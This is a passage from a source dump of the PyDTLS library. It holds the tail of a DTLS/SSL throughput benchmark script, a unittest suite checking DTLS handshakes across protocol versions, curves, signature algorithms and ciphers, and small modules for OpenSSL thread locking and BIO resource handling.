sys.platform.startswith('win'): 308 | addr = socket.gethostname(), port 309 | else: 310 | addr = '', port 311 | MANAGER = Manager(addr, COMM_KEY) 312 | MANAGER.start(make_client_manager) 313 | QUEUE = MANAGER.get_queue() 314 | 315 | def stop_client_manager(): 316 | global MANAGER, QUEUE 317 | QUEUE = None 318 | MANAGER.release_clients() 319 | MANAGER.shutdown() 320 | MANAGER = None 321 | 322 | def remote_client(manager_address): 323 | Manager.register("get_queue") 324 | manager = Manager(manager_address, COMM_KEY) 325 | manager.connect() 326 | queue = manager.get_queue() 327 | print "Client connected; waiting for job..." 328 | while True: 329 | command = queue.get() 330 | if command == "STOP": 331 | break 332 | command = command[:-1] + [(manager_address[0], command[-1][1])] 333 | print "Starting job: " + str(command) 334 | drops = client(*command) 335 | print "%d drops" % drops 336 | print "Job completed; waiting for next job..." 337 | 338 | # 339 | # Test runner 340 | # 341 | 342 | def run_test(server_args, client_args, port): 343 | if port is None: 344 | port = 0 345 | if QUEUE: 346 | # bind to all interfaces, for remote clients 347 | listen_addr = '', port 348 | else: 349 | # bind to loopback only, for local clients 350 | listen_addr = 'localhost', port 351 | svr = iter(server(*server_args, listen_addr=listen_addr)) 352 | listen_addr = svr.next() 353 | listen_addr = 'localhost', listen_addr[1] 354 | client_args = list(client_args) 355 | client_args.append(listen_addr) 356 | if QUEUE: 357 | QUEUE.put(client_args) 358 | else: 359 | proc = Process(target=client, args=client_args) 360 | proc.start() 361 | in_size = CHUNK_SIZE * CHUNKS / 2**20 362 | out_size = CHUNK_SIZE * CHUNKS / 2**20 363 | print "Starting inbound: %dMiB" % in_size 364 | svr_in_time, drops = svr.next() 365 | print "Inbound: %.3f seconds, %dMiB/s, %d drops" % ( 366 | svr_in_time, in_size / svr_in_time, drops) 367 | print "Starting outbound: %dMiB" % out_size 368 | svr_out_time = svr.next() 369 | print "Outbound: %.3f seconds, %dMiB/s" % ( 370 | svr_out_time, out_size / svr_out_time) 371 | if not QUEUE: 372 | proc.join() 373 | print "Combined: %.3f seconds, %dMiB/s" % ( 374 | svr_out_time + svr_in_time, 375 | (in_size + out_size) / (svr_in_time + svr_out_time)) 376 | 377 | # 378 | # Main entry point 379 | # 380 | 381 | if __name__ == "__main__": 382 | def port(string): 383 | val = int(string) 384 | if val < 1 or val > 2**16: 385 | raise ArgumentTypeError("%d is an invalid port number" % val) 386 | return val 387 | def endpoint(string): 388 | addr = string.split(':') 389 | if len(addr) != 2: 390 | raise ArgumentTypeError("%s is not a valid host endpoint" % string) 391 | addr[1] = port(addr[1]) 392 | socket.getaddrinfo(addr[0], addr[1], socket.AF_INET) 393 | return tuple(addr) 394 | parser = ArgumentParser() 395 | parser.add_argument("-s", "--server", type=port, metavar="PORT", 396 | help="local server port for remote clients") 397 | parser.add_argument("-p", "--port", type=port, metavar="SUITEPORT", 398 | help="fixed suite port instead of dynamic assignment") 399 | parser.add_argument("-c", "--client", type=endpoint, metavar="ENDPOINT", 400 | help="remote server endpoint for this client") 401 | args = parser.parse_args() 402 | if args.client: 403 | remote_client(args.client) 404 | sys.exit() 405 | if args.server: 406 | start_client_manager(args.server) 407 | suites = { 408 | "Raw TCP": (socket.SOCK_STREAM, False), 409 | "Raw UDP": (socket.SOCK_DGRAM, False), 410 | "SSL (TCP)": (socket.SOCK_STREAM, True), 411 | "DTLS (UDP)": (socket.SOCK_DGRAM, True), 412 | } 413 | selector = { 414 | 0: "Exit", 415 | 1: "Raw TCP", 416 | 2: "Raw UDP", 417 | 3: "SSL (TCP)", 418 | 4: "DTLS (UDP)", 419 | } 420 | do_patch() 421 | while True: 422 | print "\nSelect protocol:\n" 423 | for key in sorted(selector): 424 | print "\t" + str(key) + ": " + selector[key] 425 | try: 426 | choice = raw_input("\nProtocol: ") 427 | choice = int(choice) 428 | if choice < 0 or choice >= len(selector): 429 | raise ValueError("Invalid selection input") 430 | except (ValueError, OverflowError): 431 | print "Invalid selection input" 432 | continue 433 | except EOFError: 434 | break 435 | if not choice: 436 | break 437 | run_test(suites[selector[choice]], suites[selector[choice]], args.port) 438 | if args.server: 439 | stop_client_manager() 440 | -------------------------------------------------------------------------------- /pydtls/dtls/test/unit_wrapper.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Test the support for DTLS through the SSL module. Adapted from the Python 4 | # standard library's test_ssl.py regression test module by Björn Freise. 5 | 6 | import unittest 7 | import threading 8 | import sys 9 | import socket 10 | import os 11 | import pprint 12 | 13 | from logging import basicConfig, DEBUG, getLogger 14 | # basicConfig(level=DEBUG, format="%(asctime)s - %(threadName)-10s - %(name)s - %(levelname)s - %(message)s") 15 | _logger = getLogger(__name__) 16 | 17 | import ssl 18 | from dtls.wrapper import DtlsSocket 19 | 20 | 21 | HOST = "localhost" 22 | CHATTY = True 23 | CHATTY_CLIENT = True 24 | 25 | 26 | class ThreadedEchoServer(threading.Thread): 27 | 28 | def __init__(self, certificate, ssl_version=None, certreqs=None, cacerts=None, 29 | ciphers=None, curves=None, sigalgs=None, 30 | mtu=None, server_key_exchange_curve=None, server_cert_options=None, 31 | chatty=True): 32 | 33 | if ssl_version is None: 34 | ssl_version = ssl.PROTOCOL_DTLSv1 35 | if certreqs is None: 36 | certreqs = ssl.CERT_NONE 37 | 38 | self.certificate = certificate 39 | self.protocol = ssl_version 40 | self.certreqs = certreqs 41 | self.cacerts = cacerts 42 | self.ciphers = ciphers 43 | self.curves = curves 44 | self.sigalgs = sigalgs 45 | self.mtu = mtu 46 | self.server_key_exchange_curve = server_key_exchange_curve 47 | self.server_cert_options = server_cert_options 48 | self.chatty = chatty 49 | 50 | self.flag = None 51 | 52 | self.sock = DtlsSocket(socket.socket(socket.AF_INET, socket.SOCK_DGRAM), 53 | keyfile=self.certificate, 54 | certfile=self.certificate, 55 | server_side=True, 56 | cert_reqs=self.certreqs, 57 | ssl_version=self.protocol, 58 | ca_certs=self.cacerts, 59 | ciphers=self.ciphers, 60 | curves=self.curves, 61 | sigalgs=self.sigalgs, 62 | user_mtu=self.mtu, 63 | server_key_exchange_curve=self.server_key_exchange_curve, 64 | server_cert_options=self.server_cert_options) 65 | 66 | if self.chatty: 67 | sys.stdout.write(' server: wrapped server socket as %s\n' % str(self.sock)) 68 | self.sock.bind((HOST, 0)) 69 | self.port = self.sock.getsockname()[1] 70 | self.active = False 71 | threading.Thread.__init__(self) 72 | self.daemon = True 73 | 74 | def start(self, flag=None): 75 | self.flag = flag 76 | self.starter = threading.current_thread().ident 77 | threading.Thread.start(self) 78 | 79 | def run(self): 80 | self.sock.settimeout(0.05) 81 | self.sock.listen(0) 82 | self.active = True 83 | if self.flag: 84 | # signal an event 85 | self.flag.set() 86 | while self.active: 87 | try: 88 | acc_ret = self.sock.recvfrom(4096) 89 | if acc_ret: 90 | newdata, connaddr = acc_ret 91 | if self.chatty: 92 | sys.stdout.write(' server: new data from ' + str(connaddr) + '\n') 93 | self.sock.sendto(newdata.lower(), connaddr) 94 | except socket.timeout: 95 | pass 96 | except KeyboardInterrupt: 97 | self.stop() 98 | except Exception as e: 99 | if self.chatty: 100 | sys.stdout.write(' server: error ' + str(e) + '\n') 101 | pass 102 | if self.chatty: 103 | sys.stdout.write(' server: closing socket as %s\n' % str(self.sock)) 104 | self.sock.close() 105 | 106 | def stop(self): 107 | self.active = False 108 | if self.starter != threading.current_thread().ident: 109 | return 110 | self.join() # don't allow spawning new handlers after we've checked 111 | 112 | 113 | CERTFILE = os.path.join(os.path.dirname(__file__) or os.curdir, "certs", "keycert.pem") 114 | CERTFILE_EC = os.path.join(os.path.dirname(__file__) or os.curdir, "certs", "keycert_ec.pem") 115 | ISSUER_CERTFILE = os.path.join(os.path.dirname(__file__) or os.curdir, "certs", "ca-cert.pem") 116 | ISSUER_CERTFILE_EC = os.path.join(os.path.dirname(__file__) or os.curdir, "certs", "ca-cert_ec.pem") 117 | 118 | # certfile, protocol, certreqs, cacertsfile, 119 | # ciphers=None, curves=None, sigalgs=None, 120 | tests = [ 121 | {'testcase': 122 | {'name': 'standard dtls v1', 123 | 'desc': 'Standard DTLS v1 test with out-of-the box configuration and RSA certificate', 124 | 'start_server': True}, 125 | 'input': 126 | {'certfile': CERTFILE, 127 | 'protocol': ssl.PROTOCOL_DTLSv1, 128 | 'certreqs': None, 129 | 'cacertsfile': ISSUER_CERTFILE, 130 | 'ciphers': None, 131 | 'curves': None, 132 | 'sigalgs': None, 133 | 'client_certfile': None, 134 | 'client_protocol': ssl.PROTOCOL_DTLSv1, 135 | 'client_certreqs': ssl.CERT_REQUIRED, 136 | 'client_cacertsfile': ISSUER_CERTFILE, 137 | 'client_ciphers': None, 138 | 'client_curves': None, 139 | 'client_sigalgs': None}, 140 | 'result': 141 | {'ret_success': True, 142 | 'error_code': None, 143 | 'exception': None}}, 144 | {'testcase': 145 | {'name': 'standard dtls v1_2', 146 | 'desc': 'Standard DTLS v1_2 test with out-of-the box configuration and ECDSA certificate', 147 | 'start_server': True}, 148 | 'input': 149 | {'certfile': CERTFILE_EC, 150 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 151 | 'certreqs': None, 152 | 'cacertsfile': ISSUER_CERTFILE_EC, 153 | 'ciphers': None, 154 | 'curves': None, 155 | 'sigalgs': None, 156 | 'client_certfile': None, 157 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 158 | 'client_certreqs': ssl.CERT_REQUIRED, 159 | 'client_cacertsfile': ISSUER_CERTFILE_EC, 160 | 'client_ciphers': None, 161 | 'client_curves': None, 162 | 'client_sigalgs': None}, 163 | 'result': 164 | {'ret_success': True, 165 | 'error_code': None, 166 | 'exception': None}}, 167 | {'testcase': 168 | {'name': 'protocol version mismatch', 169 | 'desc': 'Client and server have different protocol versions', 170 | 'start_server': True}, 171 | 'input': 172 | {'certfile': CERTFILE, 173 | 'protocol': ssl.PROTOCOL_DTLSv1, 174 | 'certreqs': None, 175 | 'cacertsfile': ISSUER_CERTFILE, 176 | 'ciphers': None, 177 | 'curves': None, 178 | 'sigalgs': None, 179 | 'client_certfile': None, 180 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 181 | 'client_certreqs': ssl.CERT_REQUIRED, 182 | 'client_cacertsfile': ISSUER_CERTFILE, 183 | 'client_ciphers': None, 184 | 'client_curves': None, 185 | 'client_sigalgs': None}, 186 | 'result': 187 | {'ret_success': False, 188 | 'error_code': ssl.ERR_WRONG_SSL_VERSION, 189 | 'exception': None}}, 190 | {'testcase': 191 | {'name': 'certificate verify fails', 192 | 'desc': 'Server certificate cannot be verified by client', 193 | 'start_server': True}, 194 | 'input': 195 | {'certfile': CERTFILE_EC, 196 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 197 | 'certreqs': None, 198 | 'cacertsfile': ISSUER_CERTFILE_EC, 199 | 'ciphers': None, 200 | 'curves': None, 201 | 'sigalgs': None, 202 | 'client_certfile': None, 203 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 204 | 'client_certreqs': ssl.CERT_REQUIRED, 205 | 'client_cacertsfile': ISSUER_CERTFILE, 206 | 'client_ciphers': None, 207 | 'client_curves': None, 208 | 'client_sigalgs': None}, 209 | 'result': 210 | {'ret_success': False, 211 | 'error_code': ssl.ERR_CERTIFICATE_VERIFY_FAILED, 212 | 'exception': None}}, 213 | {'testcase': 214 | {'name': 'no matching curve', 215 | 'desc': 'Client doesn\'t support curve used by server ECDSA certificate', 216 | 'start_server': True}, 217 | 'input': 218 | {'certfile': CERTFILE_EC, 219 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 220 | 'certreqs': None, 221 | 'cacertsfile': ISSUER_CERTFILE_EC, 222 | 'ciphers': None, 223 | 'curves': None, 224 | 'sigalgs': None, 225 | 'client_certfile': None, 226 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 227 | 'client_certreqs': ssl.CERT_REQUIRED, 228 | 'client_cacertsfile': ISSUER_CERTFILE_EC, 229 | 'client_ciphers': None, 230 | 'client_curves': 'secp384r1', 231 | 'client_sigalgs': None}, 232 | 'result': 233 | {'ret_success': False, 234 | 'error_code': ssl.ERR_SSL_HANDSHAKE_FAILURE, 235 | 'exception': None}}, 236 | {'testcase': 237 | {'name': 'matching curve', 238 | 'desc': '', 239 | 'start_server': True}, 240 | 'input': 241 | {'certfile': CERTFILE_EC, 242 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 243 | 'certreqs': None, 244 | 'cacertsfile': ISSUER_CERTFILE_EC, 245 | 'ciphers': None, 246 | 'curves': None, 247 | 'sigalgs': None, 248 | 'client_certfile': None, 249 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 250 | 'client_certreqs': ssl.CERT_REQUIRED, 251 | 'client_cacertsfile': ISSUER_CERTFILE_EC, 252 | 'client_ciphers': None, 253 | 'client_curves': 'prime256v1', 254 | 'client_sigalgs': None}, 255 | 'result': 256 | {'ret_success': True, 257 | 'error_code': None, 258 | 'exception': None}}, 259 | {'testcase': 260 | {'name': 'no host', 261 | 'desc': 'No server port is listening', 262 | 'start_server': False}, 263 | 'input': 264 | {'certfile': CERTFILE_EC, 265 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 266 | 'certreqs': None, 267 | 'cacertsfile': ISSUER_CERTFILE_EC, 268 | 'ciphers': None, 269 | 'curves': None, 270 | 'sigalgs': None, 271 | 'client_certfile': None, 272 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 273 | 'client_certreqs': ssl.CERT_REQUIRED, 274 | 'client_cacertsfile': ISSUER_CERTFILE_EC, 275 | 'client_ciphers': None, 276 | 'client_curves': None, 277 | 'client_sigalgs': None}, 278 | 'result': 279 | {'ret_success': False, 280 | 'error_code': ssl.ERR_PORT_UNREACHABLE, 281 | 'exception': None}}, 282 | {'testcase': 283 | {'name': 'no matching sigalgs', 284 | 'desc': '', 285 | 'start_server': True}, 286 | 'input': 287 | {'certfile': CERTFILE_EC, 288 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 289 | 'certreqs': None, 290 | 'cacertsfile': ISSUER_CERTFILE_EC, 291 | 'ciphers': None, 292 | 'curves': None, 293 | 'sigalgs': None, 294 | 'client_certfile': None, 295 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 296 | 'client_certreqs': ssl.CERT_REQUIRED, 297 | 'client_cacertsfile': ISSUER_CERTFILE_EC, 298 | 'client_ciphers': None, 299 | 'client_curves': None, 300 | 'client_sigalgs': "RSA+SHA256"}, 301 | 'result': 302 | {'ret_success': False, 303 | 'error_code': ssl.ERR_SSL_HANDSHAKE_FAILURE, 304 | 'exception': None}}, 305 | {'testcase': 306 | {'name': 'matching sigalgs', 307 | 'desc': '', 308 | 'start_server': True}, 309 | 'input': 310 | {'certfile': CERTFILE_EC, 311 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 312 | 'certreqs': None, 313 | 'cacertsfile': ISSUER_CERTFILE_EC, 314 | 'ciphers': None, 315 | 'curves': None, 316 | 'sigalgs': None, 317 | 'client_certfile': None, 318 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 319 | 'client_certreqs': ssl.CERT_REQUIRED, 320 | 'client_cacertsfile': ISSUER_CERTFILE_EC, 321 | 'client_ciphers': None, 322 | 'client_curves': None, 323 | 'client_sigalgs': "ECDSA+SHA256"}, 324 | 'result': 325 | {'ret_success': True, 326 | 'error_code': None, 327 | 'exception': None}}, 328 | {'testcase': 329 | {'name': 'no matching cipher', 330 | 'desc': 'Server using a ECDSA certificate while client is only able to use RSA encryption', 331 | 'start_server': True}, 332 | 'input': 333 | {'certfile': CERTFILE_EC, 334 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 335 | 'certreqs': None, 336 | 'cacertsfile': ISSUER_CERTFILE_EC, 337 | 'ciphers': None, 338 | 'curves': None, 339 | 'sigalgs': None, 340 | 'client_certfile': None, 341 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 342 | 'client_certreqs': ssl.CERT_REQUIRED, 343 | 'client_cacertsfile': ISSUER_CERTFILE_EC, 344 | 'client_ciphers': "AES256-SHA", 345 | 'client_curves': None, 346 | 'client_sigalgs': None}, 347 | 'result': 348 | {'ret_success': False, 349 | 'error_code': ssl.ERR_SSL_HANDSHAKE_FAILURE, 350 | 'exception': None}}, 351 | {'testcase': 352 | {'name': 'matching cipher', 353 | 'desc': '', 354 | 'start_server': True}, 355 | 'input': 356 | {'certfile': CERTFILE_EC, 357 | 'protocol': ssl.PROTOCOL_DTLSv1_2, 358 | 'certreqs': None, 359 | 'cacertsfile': ISSUER_CERTFILE_EC, 360 | 'ciphers': None, 361 | 'curves': None, 362 | 'sigalgs': None, 363 | 'client_certfile': None, 364 | 'client_protocol': ssl.PROTOCOL_DTLSv1_2, 365 | 'client_certreqs': ssl.CERT_REQUIRED, 366 | 'client_cacertsfile': ISSUER_CERTFILE_EC, 367 | 'client_ciphers': "ECDHE-ECDSA-AES256-SHA", 368 | 'client_curves': None, 369 | 'client_sigalgs': None}, 370 | 'result': 371 | {'ret_success': True, 372 | 'error_code': None, 373 | 'exception': None}}, 374 | ] 375 | 376 | 377 | def params_test(start_server, certfile, protocol, certreqs, cacertsfile, 378 | client_certfile=None, client_protocol=None, client_certreqs=None, client_cacertsfile=None, 379 | ciphers=None, curves=None, sigalgs=None, 380 | client_ciphers=None, client_curves=None, client_sigalgs=None, 381 | mtu=None, server_key_exchange_curve=None, server_cert_options=None, 382 | indata="FOO\n", chatty=False, connectionchatty=False): 383 | """ 384 | Launch a server, connect a client to it and try various reads 385 | and writes. 386 | """ 387 | server = ThreadedEchoServer(certfile, 388 | ssl_version=protocol, 389 | certreqs=certreqs, 390 | cacerts=cacertsfile, 391 | ciphers=ciphers, 392 | curves=curves, 393 | sigalgs=sigalgs, 394 | mtu=mtu, 395 | server_key_exchange_curve=server_key_exchange_curve, 396 | server_cert_options=server_cert_options, 397 | chatty=chatty) 398 | # should we really run the server? 399 | if start_server: 400 | flag = threading.Event() 401 | server.start(flag) 402 | # wait for it to start 403 | flag.wait() 404 | else: 405 | server.sock.close() 406 | # try to connect 407 | if client_protocol is None: 408 | client_protocol = protocol 409 | if client_ciphers is None: 410 | client_ciphers = ciphers 411 | if client_curves is None: 412 | client_curves = curves 413 | if client_sigalgs is None: 414 | client_sigalgs = sigalgs 415 | try: 416 | s = DtlsSocket(socket.socket(socket.AF_INET, socket.SOCK_DGRAM), 417 | keyfile=client_certfile, 418 | certfile=client_certfile, 419 | cert_reqs=client_certreqs, 420 | ssl_version=client_protocol, 421 | ca_certs=client_cacertsfile, 422 | ciphers=client_ciphers, 423 | curves=client_curves, 424 | sigalgs=client_sigalgs, 425 | user_mtu=mtu) 426 | s.connect((HOST, server.port)) 427 | if connectionchatty: 428 | sys.stdout.write(" client: sending %s...\n" % (repr(indata))) 429 | s.write(indata) 430 | outdata = s.read() 431 | if connectionchatty: 432 | sys.stdout.write(" client: read %s\n" % repr(outdata)) 433 | if outdata != indata.lower(): 434 | raise AssertionError("bad data <<%s>> (%d) received; expected <<%s>> (%d)\n" 435 | % (outdata[:min(len(outdata), 20)], len(outdata), 436 | indata[:min(len(indata), 20)].lower(), len(indata))) 437 | cert = s.getpeercert() 438 | cipher = s.cipher() 439 | if connectionchatty: 440 | sys.stdout.write("cert:\n" + pprint.pformat(cert) + "\n") 441 | sys.stdout.write("cipher:\n" + pprint.pformat(cipher) + "\n") 442 | if connectionchatty: 443 | sys.stdout.write(" client: closing connection.\n") 444 | try: 445 | s.close() 446 | except Exception as e: 447 | if connectionchatty: 448 | sys.stdout.write(" client: error closing connection %s...\n" % (repr(e))) 449 | pass 450 | except Exception as e: 451 | if connectionchatty: 452 | sys.stdout.write(" client: aborting with exception %s...\n" % (repr(e))) 453 | return False, e 454 | finally: 455 | if start_server: 456 | server.stop() 457 | return True, None 458 | 459 | 460 | class TestSequenceMeta(type): 461 | def __new__(mcs, name, bases, dict): 462 | 463 | def gen_test(_case, _input, _result): 464 | def test(self): 465 | try: 466 | if CHATTY or CHATTY_CLIENT: 467 | sys.stdout.write("\nTestcase: %s\n" % _case['name']) 468 | ret, e = params_test(_case['start_server'], chatty=CHATTY, connectionchatty=CHATTY_CLIENT, **_input) 469 | if _result['ret_success']: 470 | self.assertEqual(ret, _result['ret_success']) 471 | else: 472 | try: 473 | last_error = e.errqueue[-1][0] 474 | except: 475 | try: 476 | last_error = e.errno 477 | except: 478 | last_error = None 479 | self.assertEqual(last_error, _result['error_code']) 480 | except Exception as e: 481 | raise 482 | return test 483 | 484 | for testcase in tests: 485 | _case, _input, _result = testcase.itervalues() 486 | test_name = "test_%s" % _case['name'].lower().replace(' ', '_') 487 | dict[test_name] = gen_test(_case, _input, _result) 488 | 489 | return type.__new__(mcs, name, bases, dict) 490 | 491 | 492 | class WrapperTests(unittest.TestCase): 493 | __metaclass__ = TestSequenceMeta 494 | 495 | def test_build_cert_chain(self): 496 | steps = [ssl.SSL_BUILD_CHAIN_FLAG_NONE, ssl.SSL_BUILD_CHAIN_FLAG_NO_ROOT] 497 | chatty, connectionchatty = CHATTY, CHATTY_CLIENT 498 | indata = 'FOO' 499 | certs = dict() 500 | 501 | if chatty or connectionchatty: 502 | sys.stdout.write("\nTestcase: test_build_cert_chain\n") 503 | for step in steps: 504 | server = ThreadedEchoServer(certificate=CERTFILE, 505 | ssl_version=ssl.PROTOCOL_DTLSv1_2, 506 | certreqs=ssl.CERT_NONE, 507 | cacerts=ISSUER_CERTFILE, 508 | ciphers=None, 509 | curves=None, 510 | sigalgs=None, 511 | mtu=None, 512 | server_key_exchange_curve=None, 513 | server_cert_options=step, 514 | chatty=chatty) 515 | flag = threading.Event() 516 | server.start(flag) 517 | # wait for it to start 518 | flag.wait() 519 | try: 520 | s = DtlsSocket(socket.socket(socket.AF_INET, socket.SOCK_DGRAM), 521 | keyfile=None, 522 | certfile=None, 523 | cert_reqs=ssl.CERT_REQUIRED, 524 | ssl_version=ssl.PROTOCOL_DTLSv1_2, 525 | ca_certs=ISSUER_CERTFILE, 526 | ciphers=None, 527 | curves=None, 528 | sigalgs=None, 529 | user_mtu=None) 530 | s.connect((HOST, server.port)) 531 | if connectionchatty: 532 | sys.stdout.write(" client: sending %s...\n" % (repr(indata))) 533 | s.write(indata) 534 | outdata = s.read() 535 | if connectionchatty: 536 | sys.stdout.write(" client: read %s\n" % repr(outdata)) 537 | if outdata != indata.lower(): 538 | raise AssertionError("bad data <<%s>> (%d) received; expected <<%s>> (%d)\n" 539 | % (outdata[:min(len(outdata), 20)], len(outdata), 540 | indata[:min(len(indata), 20)].lower(), len(indata))) 541 | # cert = s.getpeercert() 542 | # cipher = s.cipher() 543 | # if connectionchatty: 544 | # sys.stdout.write("cert:\n" + pprint.pformat(cert) + "\n") 545 | # sys.stdout.write("cipher:\n" + pprint.pformat(cipher) + "\n") 546 | certs[step] = s.getpeercertchain() 547 | if connectionchatty: 548 | sys.stdout.write(" client: closing connection.\n") 549 | try: 550 | s.close() 551 | except Exception as e: 552 | if connectionchatty: 553 | sys.stdout.write(" client: error closing connection %s...\n" % (repr(e))) 554 | pass 555 | except Exception as e: 556 | if connectionchatty: 557 | sys.stdout.write(" client: aborting with exception %s...\n" % (repr(e))) 558 | raise 559 | finally: 560 | server.stop() 561 | 562 | if chatty: 563 | sys.stdout.write("certs:\n") 564 | for step in steps: 565 | sys.stdout.write("SSL_CTX_build_cert_chain: %s\n%s\n" % (step, pprint.pformat(certs[step]))) 566 | self.assertNotEqual(certs[steps[0]], certs[steps[1]]) 567 | self.assertEqual(len(certs[steps[0]]) - len(certs[steps[1]]), 1) 568 | 569 | def test_set_ecdh_curve(self): 570 | steps = { 571 | # server, client, result 572 | 'all auto': (None, None, True), # Auto 573 | 'client restricted': (None, "secp256k1:prime256v1", True), # client can handle key curve 574 | 'client too restricted': (None, "secp256k1", False), # client _cannot_ handle key curve 575 | 'client minimum': (None, "prime256v1", True), # client can only handle key curve 576 | 'server restricted': ("secp384r1", None, True), # client can handle key curve 577 | 'server one, client two': ("secp384r1", "prime256v1:secp384r1", True), # client can handle key curve 578 | 'server one, client one': ("secp384r1", "secp384r1", False), # client _cannot_ handle key curve 579 | } 580 | 581 | chatty, connectionchatty = CHATTY, CHATTY_CLIENT 582 | indata = 'FOO' 583 | certs = dict() 584 | 585 | if chatty or connectionchatty: 586 | sys.stdout.write("\nTestcase: test_ecdh_curve\n") 587 | for step, tmp in steps.iteritems(): 588 | if chatty or connectionchatty: 589 | sys.stdout.write("\n Subcase: %s\n" % step) 590 | server_curve, client_curve, result = tmp 591 | server = ThreadedEchoServer(certificate=CERTFILE_EC, 592 | ssl_version=ssl.PROTOCOL_DTLSv1_2, 593 | certreqs=ssl.CERT_NONE, 594 | cacerts=ISSUER_CERTFILE_EC, 595 | ciphers=None, 596 | curves=None, 597 | sigalgs=None, 598 | mtu=None, 599 | server_key_exchange_curve=server_curve, 600 | server_cert_options=None, 601 | chatty=chatty) 602 | flag = threading.Event() 603 | server.start(flag) 604 | # wait for it to start 605 | flag.wait() 606 | try: 607 | s = DtlsSocket(socket.socket(socket.AF_INET, socket.SOCK_DGRAM), 608 | keyfile=None, 609 | certfile=None, 610 | cert_reqs=ssl.CERT_REQUIRED, 611 | ssl_version=ssl.PROTOCOL_DTLSv1_2, 612 | ca_certs=ISSUER_CERTFILE_EC, 613 | ciphers=None, 614 | curves=client_curve, 615 | sigalgs=None, 616 | user_mtu=None) 617 | s.connect((HOST, server.port)) 618 | if connectionchatty: 619 | sys.stdout.write(" client: sending %s...\n" % (repr(indata))) 620 | s.write(indata) 621 | outdata = s.read() 622 | if connectionchatty: 623 | sys.stdout.write(" client: read %s\n" % repr(outdata)) 624 | if outdata != indata.lower(): 625 | raise AssertionError("bad data <<%s>> (%d) received; expected <<%s>> (%d)\n" 626 | % (outdata[:min(len(outdata), 20)], len(outdata), 627 | indata[:min(len(indata), 20)].lower(), len(indata))) 628 | if connectionchatty: 629 | sys.stdout.write(" client: closing connection.\n") 630 | try: 631 | s.close() 632 | except Exception as e: 633 | if connectionchatty: 634 | sys.stdout.write(" client: error closing connection %s...\n" % (repr(e))) 635 | pass 636 | except Exception as e: 637 | if connectionchatty: 638 | sys.stdout.write(" client: aborting with exception %s...\n" % (repr(e))) 639 | if result: 640 | raise 641 | finally: 642 | server.stop() 643 | 644 | pass 645 | 646 | 647 | if __name__ == '__main__': 648 | unittest.main() 649 | -------------------------------------------------------------------------------- /pydtls/dtls/tlock.py: -------------------------------------------------------------------------------- 1 | # TLock: OpenSSL lock support on thread-enabled systems. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """TLock 20 | 21 | This module provides the callbacks required by the OpenSSL library in situations 22 | where it is being entered concurrently by multiple threads. This module is 23 | enagaged automatically by the PyDTLS package on systems that have Python 24 | threading support. It does not have client-visible components. 25 | """ 26 | 27 | from logging import getLogger 28 | from openssl import * 29 | 30 | try: 31 | import threading 32 | except ImportError: 33 | pass 34 | 35 | _logger = getLogger(__name__) 36 | DO_DEBUG_LOG = False 37 | 38 | def tlock_init(): 39 | if not globals().has_key("threading"): 40 | return # nothing to configure 41 | # The standard library ssl module's lock implementation is more efficient; 42 | # do not override it if it has been established 43 | if CRYPTO_get_id_callback(): 44 | return 45 | global _locks 46 | num_locks = CRYPTO_num_locks() 47 | _locks = tuple(threading.Lock() for _ in range(num_locks)) 48 | CRYPTO_set_locking_callback(_locking_function) 49 | 50 | def _locking_function(mode, n, file, line): 51 | if DO_DEBUG_LOG: 52 | _logger.debug("Thread lock: mode: %d, n: %d, file: %s, line: %d", 53 | mode, n, file, line) 54 | if mode & CRYPTO_LOCK: 55 | _locks[n].acquire() 56 | else: 57 | _locks[n].release() 58 | -------------------------------------------------------------------------------- /pydtls/dtls/util.py: -------------------------------------------------------------------------------- 1 | # Shared implementation internals. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """Utilities 20 | 21 | This module contains private implementation details shared among modules of 22 | the PyDTLS package. 23 | """ 24 | 25 | from logging import getLogger 26 | 27 | _logger = getLogger(__name__) 28 | 29 | 30 | class _Rsrc(object): 31 | """Wrapper base for library-owned resources""" 32 | def __init__(self, value): 33 | self._value = value 34 | 35 | @property 36 | def value(self): 37 | return self._value 38 | 39 | @property 40 | def raw(self): 41 | return self._value.raw 42 | 43 | 44 | class _BIO(_Rsrc): 45 | """BIO wrapper""" 46 | def __init__(self, value): 47 | super(_BIO, self).__init__(value) 48 | self.owned = True 49 | 50 | def disown(self): 51 | self.owned = False 52 | 53 | def __del__(self): 54 | if self.owned: 55 | _logger.debug("Freeing BIO: %d", self.raw) 56 | from openssl import BIO_free 57 | BIO_free(self._value) 58 | self.owned = False 59 | self._value = None 60 | 